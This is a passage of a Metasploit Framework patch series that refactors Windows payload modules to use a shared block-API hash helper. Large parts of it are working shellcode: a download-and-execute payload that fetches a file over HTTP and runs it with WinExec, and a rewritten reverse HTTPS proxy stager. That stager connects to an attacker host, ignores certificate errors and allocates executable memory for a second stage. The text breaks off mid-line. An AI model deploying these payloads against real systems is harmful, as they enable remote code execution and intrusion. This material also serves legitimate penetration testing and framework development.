#{Rex::Text.block_api_hash("kernel32.dll", "LoadLibraryA")} ; kernel32.dll!LoadLibraryA call ebp ; LoadLibraryA( "dnsapi" ) ;prepare for loop of queries @@ -126,7 +126,7 @@ def generate(_opts = {}) push #{queryoptions} ; Options push #{wType} ; wType push eax ; lpstrName - push #{Rex::Text.hash("dnsapi.dll", "DnsQuery_A")} ; dnsapi.dll!DnsQuery_A + push #{Rex::Text.block_api_hash("dnsapi.dll", "DnsQuery_A")} ; dnsapi.dll!DnsQuery_A call ebp ; test eax, eax ; query ok ? jnz jump_to_payload ; no, jump to payload diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index dbfe314900e0..3016d949755f 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -136,7 +136,7 @@ def generate(_opts = {}) push 0x696e6977 ; ... mov esi, esp ; Save a pointer to wininet push esp ; Push a pointer to the "wininet" string on the stack. - push #{Rex::Text.hash('kernel32.dll', 'LoadLibraryA')} ; hash( "kernel32.dll", "LoadLibraryA" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) internetopen: @@ -146,7 +146,7 @@ def generate(_opts = {}) push edi ; LPCTSTR lpszProxyName push edi ; DWORD dwAccessType (PRECONFIG = 0) push esi ; LPCTSTR lpszAgent ("wininet\x00") - push #{Rex::Text.hash('wininet.dll', 'InternetOpenA')} ; hash( "wininet.dll", "InternetOpenA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} ; hash( "wininet.dll", "InternetOpenA" ) call ebp jmp.i8 dbl_get_server_host @@ -162,7 +162,7 @@ def generate(_opts = {}) push #{port_nr} ; PORT push ebx ; HOSTNAME push eax ; HINTERNET hInternet - push #{Rex::Text.hash('wininet.dll', 'InternetConnectA')} ; hash( "wininet.dll", "InternetConnectA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} ; hash( "wininet.dll", "InternetConnectA" ) call ebp jmp.i8 get_server_uri @@ -178,7 +178,7 @@ def generate(_opts = {}) push ecx ; url push edx ; method push eax ; hConnection - push #{Rex::Text.hash('wininet.dll', 'HttpOpenRequestA')} ; hash( "wininet.dll", "HttpOpenRequestA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp mov esi, eax ; hHttpRequest @@ -194,7 +194,7 @@ def generate(_opts = {}) push eax ; &dwFlags push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push esi ; hRequest - push #{Rex::Text.hash('wininet.dll', 'InternetSetOptionA')} ; hash( "wininet.dll", "InternetSetOptionA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp httpsendrequest: @@ -204,7 +204,7 @@ def generate(_opts = {}) push edi ; dwHeadersLength push edi ; headers push esi ; hHttpRequest - push #{Rex::Text.hash('wininet.dll', 'HttpSendRequestA')} ; hash( "wininet.dll", "HttpSendRequestA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} ; hash( "wininet.dll", "HttpSendRequestA" ) call ebp test eax,eax jnz create_file @@ -236,7 +236,7 @@ def generate(_opts = {}) push 2 ; dwShareMode push 2 ; dwDesiredAccess push edi ; lpFileName - push #{Rex::Text.hash('kernel32.dll', 'CreateFileA')} ; kernel32.dll!CreateFileA + push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} ; kernel32.dll!CreateFileA call ebp download_prep: @@ -253,7 +253,7 @@ def generate(_opts = {}) push eax ; read length push ecx ; target buffer on stack push esi ; hRequest - push #{Rex::Text.hash('wininet.dll', 'InternetReadFile')} ; hash( "wininet.dll", "InternetReadFile" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')} ; hash( "wininet.dll", "InternetReadFile" ) call ebp test eax,eax ; download failed? (optional?) @@ -271,20 +271,20 @@ def generate(_opts = {}) lea eax,[esp+0xc] ; get pointer to buffer push eax ; lpBuffer push ebx ; hFile - push #{Rex::Text.hash('kernel32.dll', 'WriteFile')} ; kernel32.dll!WriteFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')} ; kernel32.dll!WriteFile call ebp sub esp,4 ; set stack back to where it was jmp.i8 download_more close_and_run: push ebx - push #{Rex::Text.hash('kernel32.dll', 'CloseHandle')} ; kernel32.dll!CloseHandle + push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} ; kernel32.dll!CloseHandle call ebp execute_file: push 0 ; don't show push edi ; lpCmdLine - push #{Rex::Text.hash('kernel32.dll', 'WinExec')} ; kernel32.dll!WinExec + push #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')} ; kernel32.dll!WinExec call ebp thats_all_folks: From eb58072034e2a23aff2d66d7512d9349089bdb1b Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 26 Nov 2024 11:49:56 -0500 Subject: [PATCH 07/13] fix(payloads): update cachedsize --- modules/payloads/singles/windows/dns_txt_query_exec.rb | 2 +- modules/payloads/singles/windows/download_exec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index b2a414363a37..1ec1341b7cee 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -5,7 +5,7 @@ module MetasploitModule - CachedSize = 285 + CachedSize = 291 include Msf::Payload::Windows include Msf::Payload::Single diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index 3016d949755f..e9a95e23cd61 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -5,7 +5,7 @@ module MetasploitModule - CachedSize = 423 + CachedSize = 429 include Msf::Payload::Windows include Msf::Payload::Single From 46292b8b9abef0e1d27d00176adceb40d0d631d4 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 27 Nov 2024 08:08:31 -0500 Subject: [PATCH 08/13] fix(payloads): removing hardcoded block-api asm and hashes from x64 messagebox module --- .../singles/windows/x64/messagebox.rb | 160 ++++-------------- 1 file changed, 30 insertions(+), 130 deletions(-) diff --git a/modules/payloads/singles/windows/x64/messagebox.rb b/modules/payloads/singles/windows/x64/messagebox.rb index 55cd00c3215a..7472f80eec4d 100644 --- a/modules/payloads/singles/windows/x64/messagebox.rb +++ b/modules/payloads/singles/windows/x64/messagebox.rb @@ -9,6 +9,7 @@ module MetasploitModule include Msf::Payload::Windows include Msf::Payload::Single + include Msf::Payload::Windows::BlockApi_x64 def initialize(info = {}) super(merge_info(info, @@ -32,32 +33,6 @@ def initialize(info = {}) ) end - def ror(dword, arg, bits = 32) - mask = (2**arg) - 1 - mask_bits = dword & mask - return (dword >> arg) | (mask_bits << (bits - arg)) - end - - def rol(dword, arg, bits = 32) - return ror(dword, bits - arg, bits) - end - - def hash(msg) - hash = 0 - msg.each_byte do |c| - hash = ror(c.ord + hash, 0xd) - end - return hash - end - - def to_unicode(msg) - return msg.encode("binary").split('').join("\x00") + "\x00\x00" - end - - def api_hash(libname, function) - return (hash(to_unicode(libname.upcase)) + hash(function)) & 0xffffffff - end - def generate(_opts = {}) style = 0x00 case datastore['ICON'].upcase.strip @@ -72,134 +47,59 @@ def generate(_opts = {}) style = 0x40 end - if datastore['EXITFUNC'].upcase.strip == 'PROCESS' - exitfunc_asm = %( + exitfunc_asm = %Q^ xor rcx,rcx - mov r10d, #{api_hash('kernel32.dll', 'ExitProcess')} + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call rbp - ) - elsif datastore['EXITFUNC'].upcase.strip == 'THREAD' - exitfunc_asm = %( - mov ebx, #{api_hash('kernel32.dll', 'ExitThread')} - mov r10d, #{api_hash('kernel32.dll', 'GetVersion')} + ^ + if datastore['EXITFUNC'].upcase.strip == 'THREAD' + exitfunc_asm = %Q^ + mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} call rbp add rsp,0x28 cmp al,0x6 jl use_exitthread ; is older than Vista or Server 2003 R2? cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX jne use_exitthread - mov ebx, #{api_hash('ntdll.dll', 'RtlExitUserThread')} + mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} use_exitthread: push 0 pop rcx mov r10d,ebx call rbp - ) + ^ end - exitfunc = Metasm::Shellcode.assemble(Metasm::X64.new, exitfunc_asm).encode_string - - payload_asm = %( + payload_asm = %Q^ cld and rsp,0xfffffffffffffff0 call start_main - push r9 - push r8 - push rdx - push rcx - push rsi - xor rdx,rdx - mov rdx,qword ptr gs:[rdx+0x60] - mov rdx,qword ptr ds:[rdx+0x18] - mov rdx,qword ptr ds:[rdx+0x20] - next_mod: - mov rsi,qword ptr ds:[rdx+0x50] - movzx rcx,word ptr ds:[rdx+0x4a] - xor r9,r9 - loop_modname: - xor rax,rax - lodsb - cmp al,0x61 - jl not_lowercase - sub al,0x20 - not_lowercase: - ror r9d,0xd - add r9d,eax - loop loop_modname - push rdx - push r9 - mov rdx,qword ptr ds:[rdx+0x20] - mov eax,dword ptr ds:[rdx+0x3c] - add rax,rdx - mov eax,dword ptr ds:[rax+0x88] - test rax,rax - je get_next_mod1 - add rax,rdx - push rax - mov ecx,dword ptr ds:[rax+0x18] - mov r8d,dword ptr ds:[rax+0x20] - add r8,rdx - check_has: - jrcxz get_next_mod - dec rcx - mov esi,dword ptr ds:[r8+rcx*4] - add rsi,rdx - xor r9,r9 - loop_funcname: - xor rax,rax - lodsb - ror r9d,0xd - add r9d,eax - cmp al,ah - jne loop_funcname - add r9,qword ptr ds:[rsp+0x8] - cmp r9d,r10d - jne check_has - pop rax - mov r8d,dword ptr ds:[rax+0x24] - add r8,rdx - mov cx,word ptr ds:[r8+rcx*2] - mov r8d,dword ptr ds:[rax+0x1c] - add r8,rdx - mov eax,dword ptr ds:[r8+rcx*4] - add rax,rdx - pop r8 - pop r8 - pop rsi - pop rcx - pop rdx - pop r8 - pop r9 - pop r10 - sub rsp,0x20 - push r10 - jmp rax - get_next_mod: - pop rax - get_next_mod1: - pop r9 - pop rdx - mov rdx,qword ptr ds:[rdx] - jmp next_mod - start_main: + #{asm_block_api} + start_main: pop rbp - lea rcx,qword ptr ds:[rbp + #{exitfunc.length + datastore['TEXT'].length + datastore['TITLE'].length + 0x105}] - mov r10d, #{api_hash('kernel32.dll', 'LoadLibraryA')} + call get_user32 + db "user32.dll", 0x00 + get_user32: + pop rcx + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call rbp mov r9, #{style} - lea rdx,qword ptr ds:[rbp + #{exitfunc.length + 0x103}] - lea r8,qword ptr ds:[rbp + #{exitfunc.length + datastore['TEXT'].length + 0x104}] + call get_text + db "#{datastore['TEXT']}", 0x00 + get_text: + pop rdx + call get_title + db "#{datastore['TITLE']}", 0x00 + get_title: + pop r8 xor rcx,rcx - mov r10d, #{api_hash('user32.dll', 'MessageBoxA')} + mov r10d, #{Rex::Text.block_api_hash('user32.dll', 'MessageBoxA')} call rbp - ) - + exitfunk: + #{exitfunc_asm} + ^ payload_data = Metasm::Shellcode.assemble(Metasm::X64.new, payload_asm).encode_string - payload_data << exitfunc - payload_data << datastore['TEXT'] + "\x00" - payload_data << datastore['TITLE'] + "\x00" - payload_data << "user32.dll" + "\x00" - return payload_data end end From acb022c18f5cf9d88dfe9a500b50ba095f08d3f4 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 27 Nov 2024 08:15:57 -0500 Subject: [PATCH 09/13] fix(payloads): update cachedsize for x64 messagebox module --- modules/payloads/singles/windows/x64/messagebox.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/x64/messagebox.rb b/modules/payloads/singles/windows/x64/messagebox.rb index 7472f80eec4d..815819973bc1 100644 --- a/modules/payloads/singles/windows/x64/messagebox.rb +++ b/modules/payloads/singles/windows/x64/messagebox.rb @@ -5,7 +5,7 @@ module MetasploitModule - CachedSize = 322 + CachedSize = 313 include Msf::Payload::Windows include Msf::Payload::Single From 4d19535ca0c50d8c4d3946497b239a6aa7e0b775 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 28 Nov 2024 06:39:07 -0500 Subject: [PATCH 10/13] fix(payloads): removing hardcoded block-api asm and hashes from x86 messagebox module --- .../payloads/singles/windows/messagebox.rb | 326 ++++-------------- 1 file changed, 70 insertions(+), 256 deletions(-) diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb index 1b8ea7f983ed..6f5e171eef63 100644 --- a/modules/payloads/singles/windows/messagebox.rb +++ b/modules/payloads/singles/windows/messagebox.rb @@ -4,288 +4,102 @@ ## module MetasploitModule - - CachedSize = 272 + CachedSize = 231 include Msf::Payload::Windows include Msf::Payload::Single + include Msf::Payload::Windows::BlockApi def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Windows MessageBox', - 'Description' => 'Spawns a dialog via MessageBox using a customizable title, text & icon', - 'Author' => - [ + super( + merge_info( + info, + 'Name' => 'Windows MessageBox', + 'Description' => 'Spawns a dialog via MessageBox using a customizable title, text & icon', + 'Author' => [ 'corelanc0d3r ', # original payload module - 'jduck' # some ruby factoring + 'jduck' # some ruby factoring ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86 - )) + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86 + ) + ) # Register MessageBox options register_options( [ - OptString.new('TITLE', [ true, "Messagebox Title (max 255 chars)", "MessageBox" ], max_length: 255), - OptString.new('TEXT', [ true, "Messagebox Text (max 255 chars)", "Hello, from MSF!" ], max_length: 255), - OptString.new('ICON', [ true, "Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION", "NO" ]) - ]) + OptString.new('TITLE', [ true, 'Messagebox Title (max 255 chars)', 'MessageBox' ], max_length: 255), + OptString.new('TEXT', [ true, 'Messagebox Text (max 255 chars)', 'Hello, from MSF!' ], max_length: 255), + OptString.new('ICON', [ true, 'Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION', 'NO' ]) + ] + ) end # # Construct the payload # def generate(_opts = {}) - - strTitle = datastore['TITLE'] + "X" - if (strTitle.length < 1) - raise ArgumentError, "You must specify a title" - end - - strText = datastore['TEXT'] + "X" - if (strText.length < 1) - raise ArgumentError, "You must specify the text of the MessageBox" - end - - # exitfunc process or thread ? - stackspace = "0x04" - funchash = "" - doexitseh = "" - case datastore['EXITFUNC'].upcase.strip - when 'PROCESS' - stackspace = "0x08" - funchash = "0x73E2D87E" - when 'THREAD' - stackspace = "0x08" - funchash = "0x60E0CEEF" - end - - # create exit routine for process / thread - getexitfunc = < 0) - str << " " * (4 - rem) - end - - # string is now 4 byte aligned and ends with 'X' at index 'marker_idx' - - # push string to stack, starting at the back - pushes = '' - while (str.length > 0) - four = str.slice!(-4, 4) - dw = four.unpack('V').first - pushes << "push 0x%x\n\t" % dw - end - - pushes - end end From 4468d3bc79990512bf7b8f388711b503c44dfab6 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 29 Nov 2024 07:55:49 -0500 Subject: [PATCH 11/13] fix(payloads): removing hardcoded block-api hash from reverse_tcp_dns --- lib/msf/core/payload/windows/reverse_tcp_dns.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows/reverse_tcp_dns.rb b/lib/msf/core/payload/windows/reverse_tcp_dns.rb index 323631eda5ad..4b998b3efd27 100644 --- a/lib/msf/core/payload/windows/reverse_tcp_dns.rb +++ b/lib/msf/core/payload/windows/reverse_tcp_dns.rb @@ -142,7 +142,7 @@ def asm_reverse_tcp_dns(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end From 3167a6c73c022c8a7077f0a5af0e363702e2dd21 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 29 Nov 2024 07:56:47 -0500 Subject: [PATCH 12/13] fix(payloads): re-wrote reverse_https_proxy stager --- .../stagers/windows/reverse_https_proxy.rb | 333 +++++++++++------- 1 file changed, 214 insertions(+), 119 deletions(-) diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index abac3140df7e..871f9f2ff3b5 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -3,61 +3,28 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - module MetasploitModule - CachedSize = 384 include Msf::Payload::Stager include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy', - 'Description' => 'Tunnel communication over HTTP using SSL with custom proxy support', - 'Author' => ['hdm','corelanc0d3r ', 'amaloteaux'], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHttpsProxy, - 'Convention' => 'sockedi https', - 'Stager' => - { - 'Payload' => - "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + - "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + - "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + - "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + - "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + - "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + - "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + - "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x6E\x65\x74\x00\x68\x77" + - "\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\xE8\x0F\x00\x00\x00" + - "\x50\x52\x4F\x58\x59\x48\x4F\x53\x54\x3A\x50\x4F\x52\x54\x00\x59" + - "\x31\xFF\x57\x54\x51\x6A\x03\x6A\x00\x68\x3A\x56\x79\xA7\xFF\xD5" + - "\xE9\xC4\x00\x00\x00\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C" + - "\x11\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\x89\xC6\x50\x52" + - "\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F\x53\x54\x41\x52\x54\xE8\x0F" + - "\x00\x00\x00\x50\x52\x4F\x58\x59\x5F\x55\x53\x45\x52\x4E\x41\x4D" + - "\x45\x00\x59\x6A\x0F\x51\x6A\x2B\x56\x68\x75\x46\x9E\x86\xFF\xD5" + - "\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x5F\x50\x41\x53\x53\x57" + - "\x4F\x52\x44\x00\x59\x6A\x0F\x51\x6A\x2C\x56\x68\x75\x46\x9E\x86" + - "\xFF\xD5\x50\x52\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F\x53\x54\x4F" + - "\x50\xEB\x48\x59\x31\xD2\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51" + - "\x52\x56\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80" + - "\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86" + - "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5" + - "\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF" + - "\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40" + - "\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5" + - "\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68" + - "\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0" + - "\x75\xE5\x58\xC3\xE8\xEC\xFE\xFF\xFF" - } - )) - - + super( + merge_info( + info, + 'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy', + 'Description' => 'Tunnel communication over HTTP using SSL with custom proxy support', + 'Author' => ['hdm', 'corelanc0d3r ', 'amaloteaux'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHttpsProxy, + 'Convention' => 'sockedi https', + 'Stager' => { 'Payload' => '' } + ) + ) end # @@ -71,82 +38,211 @@ def stage_over_connection? # Generate the first stage # def generate(_opts = {}) - p = super - - i = p.index("/12345\x00") - u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttpsProxy::URI_CHECKSUM_INITW) + "\x00" - p[i, u.length] = u - - # patch proxy info proxyhost = datastore['HttpProxyHost'].to_s - proxyport = datastore['HttpProxyPort'].to_s || "8080" - - if Rex::Socket.is_ipv6?(proxyhost) - proxyhost = "[#{proxyhost}]" - end + proxyhost = "[#{proxyhost}]" if Rex::Socket.is_ipv6?(proxyhost) + proxyport = datastore['HttpProxyPort'].to_s || '8080' + proxyinfo = proxyhost - proxyinfo = proxyhost + ":" + proxyport - if proxyport == "80" - proxyinfo = proxyhost - end + proxyinfo = "#{proxyhost}:#{proxyport}" unless proxyport == '80' + protocol = 'socks=' if datastore['HttpProxyType'].to_s == 'HTTP' - proxyinfo = 'http://' + proxyinfo - else #socks - proxyinfo = 'socks=' + proxyinfo + protocol = 'http://' end - - proxyloc = p.index("PROXYHOST:PORT") - p = p.gsub("PROXYHOST:PORT",proxyinfo) - - # Patch the call - calloffset = proxyinfo.length + 1 - p[proxyloc-4] = [calloffset].pack('V')[0] - - # Authentication credentials have not been specified - if datastore['HttpProxyUser'].to_s == '' || - datastore['HttpProxyPass'].to_s == '' || - datastore['HttpProxyType'].to_s == 'SOCKS' - - jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START") - - # Remove the authentication code - p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "") - else - username_size_diff = 14 - datastore['HttpProxyUser'].to_s.length - password_size_diff = 14 - datastore['HttpProxyPass'].to_s.length - jmp_offset = - 16 + # PROXY_AUTH_START length - 15 + # PROXY_AUTH_STOP length - username_size_diff + # Difference between datastore HttpProxyUser length and db "HttpProxyUser length" - password_size_diff # Same with HttpProxyPass - - # Patch call offset - username_loc = p.index("PROXY_USERNAME") - p[username_loc - 4, 4] = [15 - username_size_diff].pack("V") - password_loc = p.index("PROXY_PASSWORD") - p[password_loc - 4, 4] = [15 - password_size_diff].pack("V") - - # Remove markers & change login/password - p = p.gsub("PROXY_AUTH_START","") - p = p.gsub("PROXY_AUTH_STOP","") - p = p.gsub("PROXY_USERNAME", datastore['HttpProxyUser'].to_s) - p = p.gsub("PROXY_PASSWORD", datastore['HttpProxyPass'].to_s) + proxyinfo = protocol + proxyinfo + + proxy_auth_asm = '' + unless datastore['HttpProxyUser'].to_s == '' || + datastore['HttpProxyPass'].to_s == '' || + datastore['HttpProxyType'].to_s == 'SOCKS' + proxy_auth_asm = %( + call set_proxy_username + proxy_username: + db "#{datastore['HttpProxyUser']}",0x00 + set_proxy_username: + pop ecx ; Save the proxy username + push dword 15 ; DWORD dwBufferLength + push ecx ; LPVOID lpBuffer (username) + push byte 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) + push esi ; hConnection + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} + call ebp + + call set_proxy_password + proxy_password: + db "#{datastore['HttpProxyPass']}",0x00 + set_proxy_password: + pop ecx ; Save the proxy password + push dword 15 ; DWORD dwBufferLength + push ecx ; LPVOID lpBuffer (password) + push byte 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) + push esi ; hConnection + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} + call ebp + ) end - # Patch jmp dbl_get_server_host - jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp - p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V") - - # Patch call Internetopen - p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V") - - # Patch the LPORT - lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444 - p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V') - - # Append LHOST and return payload - p + datastore['LHOST'].to_s + "\x00" - + payload = %( + cld + call start + #{asm_block_api} + start: + pop ebp + load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + push esp ; Push a pointer to the "wininet" string on the stack. + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp ; LoadLibraryA( "wininet" ) + call internetopen + + proxy_server_name: + db "#{proxyinfo}",0x00 + + internetopen: + pop ecx ; pointer to proxy_server_name + xor edi,edi + push edi ; DWORD dwFlags + push esp ; LPCTSTR lpszProxyBypass (empty) + push ecx ; LPCTSTR lpszProxyName + push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) + push 0 ; NULL pointer + ; push esp ; LPCTSTR lpszAgent ("\x00") // doesn't seem to work with this + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} + call ebp + jmp dbl_get_server_host + + internetconnect: + pop ebx ; Save the hostname pointer + xor ecx, ecx + push ecx ; DWORD_PTR dwContext (NULL) + push ecx ; dwFlags + push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push ecx ; password + push ecx ; username + push #{datastore['LPORT']} ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} + call ebp + + mov esi,eax ; safe hConnection + #{proxy_auth_asm} + jmp get_server_uri + + httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00800000 | ; INTERNET_FLAG_SECURE + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID + ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00000200 ; INTERNET_FLAG_NO_UI + push edx ; accept types + push edx ; referrer + push edx ; version + push ecx ; url + push edx ; method + push esi ; hConnection + push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} + call ebp + mov esi, eax ; hHttpRequest + + set_retry: + push 0x10 + pop ebx + + ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); + set_security_options: + push 0x00003380 + ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID + ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE + ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA + ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION + mov eax, esp + push 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hRequest + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} + call ebp + + httpsendrequest: + xor edi, edi + push edi ; optional length + push edi ; optional + push edi ; dwHeadersLength + push edi ; headers + push esi ; hHttpRequest + push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} + call ebp + test eax,eax + jnz allocate_memory + + try_it_again: + dec ebx + jz failure + jmp set_security_options + + dbl_get_server_host: + jmp get_server_host + + get_server_uri: + call httpopenrequest + + server_uri: + db "/#{generate_uri_checksum(Msf::Handler::ReverseHttpsProxy::URI_CHECKSUM_INITW)}", 0x00 + + failure: + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} ; hardcoded to exitprocess for size + call ebp + + allocate_memory: + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (8Mb ought to do us) + push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", 